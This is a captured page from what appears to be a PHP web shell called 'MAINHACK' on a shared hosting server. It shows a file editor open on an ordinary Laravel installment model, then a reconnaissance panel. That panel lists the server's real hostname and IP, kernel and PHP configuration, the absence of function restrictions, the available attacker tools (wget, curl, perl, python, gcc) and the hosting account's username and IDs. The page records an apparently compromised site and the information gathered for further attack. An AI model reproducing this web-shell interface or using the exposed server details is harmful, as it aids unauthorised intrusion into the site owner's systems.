[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SelectedInstallment.php
<?php namespace App\Models; use App\User; use Illuminate\Database\Eloquent\Model; class SelectedInstallment extends Model { protected $table = 'selected_installments'; public $timestamps = false; protected $guarded = ['id']; public function user() { return $this->belongsTo(User::class, 'user_id', 'id'); } public function installment() { return $this->belongsTo(Installment::class, 'installment_id', 'id'); } public function steps() { return $this->hasMany(SelectedInstallmentStep::class, 'selected_installment_id', 'id'); } public function order() { return $this->belongsTo(InstallmentOrder::class, 'installment_order_id', 'id'); } /******** * Helpers * */ public function reachedCapacityPercent() { $orders = InstallmentOrder::query() ->where('id', $this->installment_order_id) ->whereIn('status', ['open', 'pending_verification']) ->count(); $percent = 0; if ($orders > 0 and $this->installment->capacity > 0) { $percent = ($orders / $this->installment->capacity) * 100; } return $percent; } public function hasCapacity() { $result = true; if (!empty($this->installment->capacity)) { $orders = InstallmentOrder::query() ->where('id', $this->installment_order_id) ->whereIn('status', ['open', 'pending_verification']) ->count(); if ($orders >= $this->installment->capacity) { $result = false; } } return $result; } public function getUpfront($itemPrice = 1) { $result = 0; if (!empty($this->upfront) and $this->upfront > 0) { if ($this->upfront_type == 'percent') { $result = ($itemPrice * $this->upfront) / 100; } else { $result = $this->upfront; } } return $result; } public function totalPayments($itemPrice = 1, $withUpfront = true) { $total = 0; if (!empty($this->upfront) and $withUpfront) { if ($this->upfront_type == 'percent') { $total += ($itemPrice * $this->upfront) / 100; } else { $total += $this->upfront; } } foreach ($this->steps as $step) { $total += $step->getPrice($itemPrice); } return $total; } public function totalInterest($itemPrice = 1, $totalPayments = null) { if (empty($totalPayments)) { $totalPayments = $this->totalPayments($itemPrice); } $result = 0; $tmp = ($totalPayments - $itemPrice); if ($tmp > 0 and $itemPrice > 0) { $tmp2 = ($tmp / $itemPrice) * 100; if ($tmp2 > 0) { $result = number_format($tmp2, 2); } } return $result; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285